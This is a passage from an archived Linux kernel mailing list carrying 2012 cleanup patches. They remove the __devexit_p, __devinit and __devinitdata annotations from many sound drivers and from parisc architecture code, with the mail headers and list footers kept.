-	.remove = __devexit_p(ct_card_remove),
+	.remove = ct_card_remove,
 	.driver = {
 		.pm = CT_CARD_PM_OPS,
 	},
diff --git a/sound/pci/echoaudio/echoaudio.c b/sound/pci/echoaudio/echoaudio.c
index abb0b86..d9181bd 100644
--- a/sound/pci/echoaudio/echoaudio.c
+++ b/sound/pci/echoaudio/echoaudio.c
@@ -2337,7 +2337,7 @@ static struct pci_driver echo_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_echo_ids,
 	.probe = snd_echo_probe,
-	.remove = __devexit_p(snd_echo_remove),
+	.remove = snd_echo_remove,
 	.driver = {
 		.pm = SND_ECHO_PM_OPS,
 	},
diff --git a/sound/pci/emu10k1/emu10k1.c b/sound/pci/emu10k1/emu10k1.c
index b7c1875..6e3cbb3 100644
--- a/sound/pci/emu10k1/emu10k1.c
+++ b/sound/pci/emu10k1/emu10k1.c
@@ -274,7 +274,7 @@ static struct pci_driver emu10k1_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_emu10k1_ids,
 	.probe = snd_card_emu10k1_probe,
-	.remove = __devexit_p(snd_card_emu10k1_remove),
+	.remove = snd_card_emu10k1_remove,
 	.driver = {
 		.pm = SND_EMU10K1_PM_OPS,
 	},
diff --git a/sound/pci/emu10k1/emu10k1x.c b/sound/pci/emu10k1/emu10k1x.c
index 556fd6f..f2c0620 100644
--- a/sound/pci/emu10k1/emu10k1x.c
+++ b/sound/pci/emu10k1/emu10k1x.c
@@ -1637,7 +1637,7 @@ static struct pci_driver emu10k1x_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_emu10k1x_ids,
 	.probe = snd_emu10k1x_probe,
-	.remove = __devexit_p(snd_emu10k1x_remove),
+	.remove = snd_emu10k1x_remove,
 };
 
 module_pci_driver(emu10k1x_driver);
diff --git a/sound/pci/ens1370.c b/sound/pci/ens1370.c
index 5674cc3..f631705 100644
--- a/sound/pci/ens1370.c
+++ b/sound/pci/ens1370.c
@@ -2504,7 +2504,7 @@ static struct pci_driver ens137x_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_audiopci_ids,
 	.probe = snd_audiopci_probe,
-	.remove = __devexit_p(snd_audiopci_remove),
+	.remove = snd_audiopci_remove,
 	.driver = {
 		.pm = SND_ENSONIQ_PM_OPS,
 	},
diff --git a/sound/pci/es1938.c b/sound/pci/es1938.c
index 394c5d4..83b889f 100644
--- a/sound/pci/es1938.c
+++ b/sound/pci/es1938.c
@@ -1888,7 +1888,7 @@ static struct pci_driver es1938_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_es1938_ids,
 	.probe = snd_es1938_probe,
-	.remove = __devexit_p(snd_es1938_remove),
+	.remove = snd_es1938_remove,
 	.driver = {
 		.pm = ES1938_PM_OPS,
 	},
diff --git a/sound/pci/es1968.c b/sound/pci/es1968.c
index 7266020..90e29c5 100644
--- a/sound/pci/es1968.c
+++ b/sound/pci/es1968.c
@@ -2916,7 +2916,7 @@ static struct pci_driver es1968_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_es1968_ids,
 	.probe = snd_es1968_probe,
-	.remove = __devexit_p(snd_es1968_remove),
+	.remove = snd_es1968_remove,
 	.driver = {
 		.pm = ES1968_PM_OPS,
 	},
diff --git a/sound/pci/fm801.c b/sound/pci/fm801.c
index c5806f8..8ec35dd 100644
--- a/sound/pci/fm801.c
+++ b/sound/pci/fm801.c
@@ -1439,7 +1439,7 @@ static struct pci_driver fm801_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_fm801_ids,
 	.probe = snd_card_fm801_probe,
-	.remove = __devexit_p(snd_card_fm801_remove),
+	.remove = snd_card_fm801_remove,
 	.driver = {
 		.pm = SND_FM801_PM_OPS,
 	},
diff --git a/sound/pci/hda/hda_intel.c b/sound/pci/hda/hda_intel.c
index 2cc07c1..bad2ba0 100644
--- a/sound/pci/hda/hda_intel.c
+++ b/sound/pci/hda/hda_intel.c
@@ -3729,7 +3729,7 @@ static struct pci_driver azx_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = azx_ids,
 	.probe = azx_probe,
-	.remove = __devexit_p(azx_remove),
+	.remove = azx_remove,
 	.driver = {
 		.pm = AZX_PM_OPS,
 	},
diff --git a/sound/pci/ice1712/ice1712.c b/sound/pci/ice1712/ice1712.c
index dd64e22..80b3409 100644
--- a/sound/pci/ice1712/ice1712.c
+++ b/sound/pci/ice1712/ice1712.c
@@ -2812,7 +2812,7 @@ static struct pci_driver ice1712_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_ice1712_ids,
 	.probe = snd_ice1712_probe,
-	.remove = __devexit_p(snd_ice1712_remove),
+	.remove = snd_ice1712_remove,
 };
 
 module_pci_driver(ice1712_driver);
diff --git a/sound/pci/ice1712/ice1724.c b/sound/pci/ice1712/ice1724.c
index ea99e56..cf872ae 100644
--- a/sound/pci/ice1712/ice1724.c
+++ b/sound/pci/ice1712/ice1724.c
@@ -2900,7 +2900,7 @@ static struct pci_driver vt1724_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_vt1724_ids,
 	.probe = snd_vt1724_probe,
-	.remove = __devexit_p(snd_vt1724_remove),
+	.remove = snd_vt1724_remove,
 	.driver = {
 		.pm = SND_VT1724_PM_OPS,
 	},
diff --git a/sound/pci/intel8x0.c b/sound/pci/intel8x0.c
index ea4b706..a3ab153 100644
--- a/sound/pci/intel8x0.c
+++ b/sound/pci/intel8x0.c
@@ -3369,7 +3369,7 @@ static struct pci_driver intel8x0_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_intel8x0_ids,
 	.probe = snd_intel8x0_probe,
-	.remove = __devexit_p(snd_intel8x0_remove),
+	.remove = snd_intel8x0_remove,
 	.driver = {
 		.pm = INTEL8X0_PM_OPS,
 	},
diff --git a/sound/pci/intel8x0m.c b/sound/pci/intel8x0m.c
index 4d55173..cb51181 100644
--- a/sound/pci/intel8x0m.c
+++ b/sound/pci/intel8x0m.c
@@ -1335,7 +1335,7 @@ static struct pci_driver intel8x0m_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_intel8x0m_ids,
 	.probe = snd_intel8x0m_probe,
-	.remove = __devexit_p(snd_intel8x0m_remove),
+	.remove = snd_intel8x0m_remove,
 	.driver = {
 		.pm = INTEL8X0M_PM_OPS,
 	},
diff --git a/sound/pci/korg1212/korg1212.c b/sound/pci/korg1212/korg1212.c
index 8a67ce9..1deabc6 100644
--- a/sound/pci/korg1212/korg1212.c
+++ b/sound/pci/korg1212/korg1212.c
@@ -2480,7 +2480,7 @@ static struct pci_driver korg1212_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_korg1212_ids,
 	.probe = snd_korg1212_probe,
-	.remove = __devexit_p(snd_korg1212_remove),
+	.remove = snd_korg1212_remove,
 };
 
 module_pci_driver(korg1212_driver);
diff --git a/sound/pci/lola/lola.c b/sound/pci/lola/lola.c
index ac15166..a72cca9 100644
--- a/sound/pci/lola/lola.c
+++ b/sound/pci/lola/lola.c
@@ -774,7 +774,7 @@ static struct pci_driver lola_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = lola_ids,
 	.probe = lola_probe,
-	.remove = __devexit_p(lola_remove),
+	.remove = lola_remove,
 };
 
 module_pci_driver(lola_driver);
diff --git a/sound/pci/lx6464es/lx6464es.c b/sound/pci/lx6464es/lx6464es.c
index 5579b08..62b378c 100644
--- a/sound/pci/lx6464es/lx6464es.c
+++ b/sound/pci/lx6464es/lx6464es.c
@@ -1147,7 +1147,7 @@ static struct pci_driver lx6464es_driver = {
 	.name =     KBUILD_MODNAME,
 	.id_table = snd_lx6464es_ids,
 	.probe =    snd_lx6464es_probe,
-	.remove = __devexit_p(snd_lx6464es_remove),
+	.remove = snd_lx6464es_remove,
 };
 
 module_pci_driver(lx6464es_driver);
diff --git a/sound/pci/maestro3.c b/sound/pci/maestro3.c
index eb3cd3a..8b76a52 100644
--- a/sound/pci/maestro3.c
+++ b/sound/pci/maestro3.c
@@ -2780,7 +2780,7 @@ static struct pci_driver m3_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_m3_ids,
 	.probe = snd_m3_probe,
-	.remove = __devexit_p(snd_m3_remove),
+	.remove = snd_m3_remove,
 	.driver = {
 		.pm = M3_PM_OPS,
 	},
diff --git a/sound/pci/mixart/mixart.c b/sound/pci/mixart/mixart.c
index 0762610..c5becc9 100644
--- a/sound/pci/mixart/mixart.c
+++ b/sound/pci/mixart/mixart.c
@@ -1384,7 +1384,7 @@ static struct pci_driver mixart_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_mixart_ids,
 	.probe = snd_mixart_probe,
-	.remove = __devexit_p(snd_mixart_remove),
+	.remove = snd_mixart_remove,
 };
 
 module_pci_driver(mixart_driver);
diff --git a/sound/pci/nm256/nm256.c b/sound/pci/nm256/nm256.c
index e80e9a1..77b1811 100644
--- a/sound/pci/nm256/nm256.c
+++ b/sound/pci/nm256/nm256.c
@@ -1753,7 +1753,7 @@ static struct pci_driver nm256_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_nm256_ids,
 	.probe = snd_nm256_probe,
-	.remove = __devexit_p(snd_nm256_remove),
+	.remove = snd_nm256_remove,
 	.driver = {
 		.pm = NM256_PM_OPS,
 	},
diff --git a/sound/pci/oxygen/oxygen.c b/sound/pci/oxygen/oxygen.c
index 2becae1..d061c79 100644
--- a/sound/pci/oxygen/oxygen.c
+++ b/sound/pci/oxygen/oxygen.c
@@ -871,7 +871,7 @@ static struct pci_driver oxygen_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = oxygen_ids,
 	.probe = generic_oxygen_probe,
-	.remove = __devexit_p(oxygen_pci_remove),
+	.remove = oxygen_pci_remove,
 #ifdef CONFIG_PM_SLEEP
 	.driver = {
 		.pm = &oxygen_pci_pm,
diff --git a/sound/pci/oxygen/virtuoso.c b/sound/pci/oxygen/virtuoso.c
index 8104eab..ebae284 100644
--- a/sound/pci/oxygen/virtuoso.c
+++ b/sound/pci/oxygen/virtuoso.c
@@ -93,7 +93,7 @@ static struct pci_driver xonar_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = xonar_ids,
 	.probe = xonar_probe,
-	.remove = __devexit_p(oxygen_pci_remove),
+	.remove = oxygen_pci_remove,
 #ifdef CONFIG_PM_SLEEP
 	.driver = {
 		.pm = &oxygen_pci_pm,
diff --git a/sound/pci/pcxhr/pcxhr.c b/sound/pci/pcxhr/pcxhr.c
index be4f145..2007a33 100644
--- a/sound/pci/pcxhr/pcxhr.c
+++ b/sound/pci/pcxhr/pcxhr.c
@@ -1698,7 +1698,7 @@ static struct pci_driver pcxhr_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = pcxhr_ids,
 	.probe = pcxhr_probe,
-	.remove = __devexit_p(pcxhr_remove),
+	.remove = pcxhr_remove,
 };
 
 module_pci_driver(pcxhr_driver);
diff --git a/sound/pci/riptide/riptide.c b/sound/pci/riptide/riptide.c
index 7d29154..9638a5a 100644
--- a/sound/pci/riptide/riptide.c
+++ b/sound/pci/riptide/riptide.c
@@ -2186,7 +2186,7 @@ static struct pci_driver driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_riptide_ids,
 	.probe = snd_card_riptide_probe,
-	.remove = __devexit_p(snd_card_riptide_remove),
+	.remove = snd_card_riptide_remove,
 	.driver = {
 		.pm = RIPTIDE_PM_OPS,
 	},
@@ -2197,7 +2197,7 @@ static struct pci_driver joystick_driver = {
 	.name = KBUILD_MODNAME "-joystick",
 	.id_table = snd_riptide_joystick_ids,
 	.probe = snd_riptide_joystick_probe,
-	.remove = __devexit_p(snd_riptide_joystick_remove),
+	.remove = snd_riptide_joystick_remove,
 };
 #endif
 
diff --git a/sound/pci/rme32.c b/sound/pci/rme32.c
index 46b3629d..d7db4d3 100644
--- a/sound/pci/rme32.c
+++ b/sound/pci/rme32.c
@@ -1988,7 +1988,7 @@ static struct pci_driver rme32_driver = {
 	.name =		KBUILD_MODNAME,
 	.id_table =	snd_rme32_ids,
 	.probe =	snd_rme32_probe,
-	.remove =	__devexit_p(snd_rme32_remove),
+	.remove =	snd_rme32_remove,
 };
 
 module_pci_driver(rme32_driver);
diff --git a/sound/pci/rme96.c b/sound/pci/rme96.c
index 9b98dc4..4486e75 100644
--- a/sound/pci/rme96.c
+++ b/sound/pci/rme96.c
@@ -2399,7 +2399,7 @@ static struct pci_driver rme96_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_rme96_ids,
 	.probe = snd_rme96_probe,
-	.remove = __devexit_p(snd_rme96_remove),
+	.remove = snd_rme96_remove,
 };
 
 module_pci_driver(rme96_driver);
diff --git a/sound/pci/rme9652/hdsp.c b/sound/pci/rme9652/hdsp.c
index 0d6930c..916aff1 100644
--- a/sound/pci/rme9652/hdsp.c
+++ b/sound/pci/rme9652/hdsp.c
@@ -5640,7 +5640,7 @@ static struct pci_driver hdsp_driver = {
 	.name =     KBUILD_MODNAME,
 	.id_table = snd_hdsp_ids,
 	.probe =    snd_hdsp_probe,
-	.remove = __devexit_p(snd_hdsp_remove),
+	.remove = snd_hdsp_remove,
 };
 
 module_pci_driver(hdsp_driver);
diff --git a/sound/pci/rme9652/hdspm.c b/sound/pci/rme9652/hdspm.c
index 748e36c..2435cb5 100644
--- a/sound/pci/rme9652/hdspm.c
+++ b/sound/pci/rme9652/hdspm.c
@@ -6974,7 +6974,7 @@ static struct pci_driver hdspm_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_hdspm_ids,
 	.probe = snd_hdspm_probe,
-	.remove = __devexit_p(snd_hdspm_remove),
+	.remove = snd_hdspm_remove,
 };
 
 module_pci_driver(hdspm_driver);
diff --git a/sound/pci/rme9652/rme9652.c b/sound/pci/rme9652/rme9652.c
index a15fc10..125d745 100644
--- a/sound/pci/rme9652/rme9652.c
+++ b/sound/pci/rme9652/rme9652.c
@@ -2635,7 +2635,7 @@ static struct pci_driver rme9652_driver = {
 	.name	  = KBUILD_MODNAME,
 	.id_table = snd_rme9652_ids,
 	.probe	  = snd_rme9652_probe,
-	.remove	  = __devexit_p(snd_rme9652_remove),
+	.remove	  = snd_rme9652_remove,
 };
 
 module_pci_driver(rme9652_driver);
diff --git a/sound/pci/sis7019.c b/sound/pci/sis7019.c
index 51e4340..e1786ef 100644
--- a/sound/pci/sis7019.c
+++ b/sound/pci/sis7019.c
@@ -1488,7 +1488,7 @@ static struct pci_driver sis7019_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_sis7019_ids,
 	.probe = snd_sis7019_probe,
-	.remove = __devexit_p(snd_sis7019_remove),
+	.remove = snd_sis7019_remove,
 	.driver = {
 		.pm = SIS_PM_OPS,
 	},
diff --git a/sound/pci/sonicvibes.c b/sound/pci/sonicvibes.c
index baa9946..bc5ca1d2 100644
--- a/sound/pci/sonicvibes.c
+++ b/sound/pci/sonicvibes.c
@@ -1534,7 +1534,7 @@ static struct pci_driver sonicvibes_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_sonic_ids,
 	.probe = snd_sonic_probe,
-	.remove = __devexit_p(snd_sonic_remove),
+	.remove = snd_sonic_remove,
 };
 
 module_pci_driver(sonicvibes_driver);
diff --git a/sound/pci/trident/trident.c b/sound/pci/trident/trident.c
index 8a6f1f7..8cec678 100644
--- a/sound/pci/trident/trident.c
+++ b/sound/pci/trident/trident.c
@@ -176,7 +176,7 @@ static struct pci_driver trident_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_trident_ids,
 	.probe = snd_trident_probe,
-	.remove = __devexit_p(snd_trident_remove),
+	.remove = snd_trident_remove,
 #ifdef CONFIG_PM_SLEEP
 	.driver = {
 		.pm = &snd_trident_pm,
diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
index f0b4efd..5312cb2 100644
--- a/sound/pci/via82xx.c
+++ b/sound/pci/via82xx.c
@@ -2653,7 +2653,7 @@ static struct pci_driver via82xx_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_via82xx_ids,
 	.probe = snd_via82xx_probe,
-	.remove = __devexit_p(snd_via82xx_remove),
+	.remove = snd_via82xx_remove,
 	.driver = {
 		.pm = SND_VIA82XX_PM_OPS,
 	},
diff --git a/sound/pci/via82xx_modem.c b/sound/pci/via82xx_modem.c
index 8e0efc4..fa2ecc2 100644
--- a/sound/pci/via82xx_modem.c
+++ b/sound/pci/via82xx_modem.c
@@ -1234,7 +1234,7 @@ static struct pci_driver via82xx_modem_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_via82xx_modem_ids,
 	.probe = snd_via82xx_probe,
-	.remove = __devexit_p(snd_via82xx_remove),
+	.remove = snd_via82xx_remove,
 	.driver = {
 		.pm = SND_VIA82XX_PM_OPS,
 	},
diff --git a/sound/pci/vx222/vx222.c b/sound/pci/vx222/vx222.c
index fdfbaf8..22d3f92 100644
--- a/sound/pci/vx222/vx222.c
+++ b/sound/pci/vx222/vx222.c
@@ -300,7 +300,7 @@ static struct pci_driver vx222_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_vx222_ids,
 	.probe = snd_vx222_probe,
-	.remove = __devexit_p(snd_vx222_remove),
+	.remove = snd_vx222_remove,
 	.driver = {
 		.pm = SND_VX222_PM_OPS,
 	},
diff --git a/sound/pci/ymfpci/ymfpci.c b/sound/pci/ymfpci/ymfpci.c
index e01fe34..d5ccc2d 100644
--- a/sound/pci/ymfpci/ymfpci.c
+++ b/sound/pci/ymfpci/ymfpci.c
@@ -354,7 +354,7 @@ static struct pci_driver ymfpci_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_ymfpci_ids,
 	.probe = snd_card_ymfpci_probe,
-	.remove = __devexit_p(snd_card_ymfpci_remove),
+	.remove = snd_card_ymfpci_remove,
 #ifdef CONFIG_PM_SLEEP
 	.driver = {
 		.pm = &snd_ymfpci_pm,
diff --git a/sound/ppc/powermac.c b/sound/ppc/powermac.c
index 210cafe..ce6db15 100644
--- a/sound/ppc/powermac.c
+++ b/sound/ppc/powermac.c
@@ -168,7 +168,7 @@ static SIMPLE_DEV_PM_OPS(snd_pmac_pm, snd_pmac_driver_suspend, snd_pmac_driver_r
 
 static struct platform_driver snd_pmac_driver = {
 	.probe		= snd_pmac_probe,
-	.remove		= __devexit_p(snd_pmac_remove),
+	.remove		= snd_pmac_remove,
 	.driver		= {
 		.name	= SND_PMAC_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/sh/aica.c b/sound/sh/aica.c
index d48b523..2b776ee 100644
--- a/sound/sh/aica.c
+++ b/sound/sh/aica.c
@@ -652,7 +652,7 @@ static int __devinit snd_aica_probe(struct platform_device *devptr)
 
 static struct platform_driver snd_aica_driver = {
 	.probe = snd_aica_probe,
-	.remove = __devexit_p(snd_aica_remove),
+	.remove = snd_aica_remove,
 	.driver = {
 		.name = SND_AICA_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/sparc/cs4231.c b/sound/sparc/cs4231.c
index f2eabd3..344eb3f 100644
--- a/sound/sparc/cs4231.c
+++ b/sound/sparc/cs4231.c
@@ -2115,7 +2115,7 @@ static struct platform_driver cs4231_driver = {
 		.of_match_table = cs4231_match,
 	},
 	.probe		= cs4231_probe,
-	.remove		= __devexit_p(cs4231_remove),
+	.remove		= cs4231_remove,
 };
 
 module_platform_driver(cs4231_driver);
diff --git a/sound/sparc/dbri.c b/sound/sparc/dbri.c
index ae35f53..55c80c4 100644
--- a/sound/sparc/dbri.c
+++ b/sound/sparc/dbri.c
@@ -2694,7 +2694,7 @@ static struct platform_driver dbri_sbus_driver = {
 		.of_match_table = dbri_match,
 	},
 	.probe		= dbri_probe,
-	.remove		= __devexit_p(dbri_remove),
+	.remove		= dbri_remove,
 };
 
 module_platform_driver(dbri_sbus_driver);
diff --git a/sound/spi/at73c213.c b/sound/spi/at73c213.c
index c6500d0..a887ef7 100644
--- a/sound/spi/at73c213.c
+++ b/sound/spi/at73c213.c
@@ -1109,7 +1109,7 @@ static struct spi_driver at73c213_driver = {
 	.probe		= snd_at73c213_probe,
 	.suspend	= snd_at73c213_suspend,
 	.resume		= snd_at73c213_resume,
-	.remove		= __devexit_p(snd_at73c213_remove),
+	.remove		= snd_at73c213_remove,
 };
 
 module_spi_driver(at73c213_driver);
-- 
1.8.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Pemberton <wfp5p@virginia.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 343/493] parisc: remove use of __devinitdata
Date: Mon, 19 Nov 2012 13:24:52 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <1353349642-3677-343-git-send-email-wfp5p@virginia.edu>
References: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1353350621 17365 80.91.229.3 (19 Nov 2012 18:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 19 Nov 2012 18:43:41 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 19 19:43:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TaWJu-0004SX-PI
	for glpp-linux-parisc@plane.gmane.org; Mon, 19 Nov 2012 19:43:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754175Ab2KSSnV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 19 Nov 2012 13:43:21 -0500
Original-Received: from viridian.itc.Virginia.EDU ([128.143.12.139]:41866 "EHLO
	viridian.itc.virginia.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754652Ab2KSSnI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 19 Nov 2012 13:43:08 -0500
Original-Received: by viridian.itc.virginia.edu (Postfix, from userid 1249)
	id 0FD45802FA; Mon, 19 Nov 2012 13:27:43 -0500 (EST)
X-Mailer: git-send-email 1.8.0
In-Reply-To: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4675>

CONFIG_HOTPLUG is going away as an option so __devinitdata is no
longer needed.

Signed-off-by: Bill Pemberton <wfp5p@virginia.edu>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org> 
Cc: Helge Deller <deller@gmx.de> 
Cc: linux-parisc@vger.kernel.org 
---
 arch/parisc/kernel/hardware.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 80e4135..f7752f6 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -38,7 +38,7 @@
  *	so don't reference this table after starting the init process
  */
  
-static struct hp_hardware hp_hardware_list[] __devinitdata = {
+static struct hp_hardware hp_hardware_list[] = {
 	{HPHW_NPROC,0x01,0x4,0x0,"Indigo (840, 930)"},
 	{HPHW_NPROC,0x8,0x4,0x01,"Firefox(825,925)"},
 	{HPHW_NPROC,0xA,0x4,0x01,"Top Gun (835,834,935,635)"},
@@ -1230,7 +1230,7 @@ static struct hp_cpu_type_mask {
 	unsigned short model;
 	unsigned short mask;
 	enum cpu_type cpu;
-} hp_cpu_type_mask_list[] __devinitdata = {
+} hp_cpu_type_mask_list[] = {
 
 	{ 0x0000, 0x0ff0, pcx    },  /* 0x0000 - 0x000f */
 	{ 0x0048, 0x0ff0, pcxl   },  /* 0x0040 - 0x004f */
-- 
1.8.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Pemberton <wfp5p@virginia.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 240/493] parisc: remove use of __devinit
Date: Mon, 19 Nov 2012 13:23:09 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <1353349642-3677-240-git-send-email-wfp5p@virginia.edu>
References: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1353350633 17503 80.91.229.3 (19 Nov 2012 18:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 19 Nov 2012 18:43:53 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 19 19:43:59 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TaWJz-0004a3-Cr
	for glpp-linux-parisc@plane.gmane.org; Mon, 19 Nov 2012 19:43:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754635Ab2KSSng (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 19 Nov 2012 13:43:36 -0500
Original-Received: from viridian.itc.Virginia.EDU ([128.143.12.139]:41895 "EHLO
	viridian.itc.virginia.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754670Ab2KSSnM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 19 Nov 2012 13:43:12 -0500
X-Greylist: delayed 533 seconds by postgrey-1.27 at vger.kernel.org; Mon, 19 Nov 2012 13:43:03 EST
Original-Received: by viridian.itc.virginia.edu (Postfix, from userid 1249)
	id 215FB80368; Mon, 19 Nov 2012 13:27:37 -0500 (EST)
X-Mailer: git-send-email 1.8.0
In-Reply-To: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4676
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4676>

CONFIG_HOTPLUG is going away as an option so __devinit is no longer
needed.

Signed-off-by: Bill Pemberton <wfp5p@virginia.edu>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org> 
Cc: Helge Deller <deller@gmx.de> 
Cc: linux-parisc@vger.kernel.org 
---
 arch/parisc/include/asm/parport.h | 2 +-
 arch/parisc/kernel/hardware.c     | 3 +--
 drivers/parisc/dino.c             | 2 +-
 drivers/parisc/lba_pci.c          | 2 +-
 4 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/include/asm/parport.h b/arch/parisc/include/asm/parport.h
index 00d9cc3..c391d7c 100644
--- a/arch/parisc/include/asm/parport.h
+++ b/arch/parisc/include/asm/parport.h
@@ -8,7 +8,7 @@
 #define _ASM_PARPORT_H 1
 
 
-static int __devinit parport_pc_find_nonpci_ports (int autoirq, int autodma)
+static int parport_pc_find_nonpci_ports (int autoirq, int autodma)
 {
 	/* nothing ! */
 	return 0;
diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index f48a640..80e4135 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1327,8 +1327,7 @@ const char * const cpu_name_version[][2] = {
 	[mako2] = { "PA8900 (Shortfin)",	"2.0" }
 };
 
-const char * __devinit
-parisc_hardware_description(struct parisc_device_id *id)
+const char *parisc_hardware_description(struct parisc_device_id *id)
 {
 	struct hp_hardware *listptr;
 	
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index fb6a1fe..8e4e86b 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -430,7 +430,7 @@ static void dino_choose_irq(struct parisc_device *dev, void *ctrl)
  * Cirrus 6832 Cardbus reports wrong irq on RDI Tadpole PARISC Laptop (deller@gmx.de)
  * (the irqs are off-by-one, not sure yet if this is a cirrus, dino-hardware or dino-driver problem...)
  */
-static void __devinit quirk_cirrus_cardbus(struct pci_dev *dev)
+static void quirk_cirrus_cardbus(struct pci_dev *dev)
 {
 	u8 new_irq = dev->irq - 1;
 	printk(KERN_INFO "PCI: Cirrus Cardbus IRQ fixup for %s, from %d to %d\n",
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index fdd63a6..753c548 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
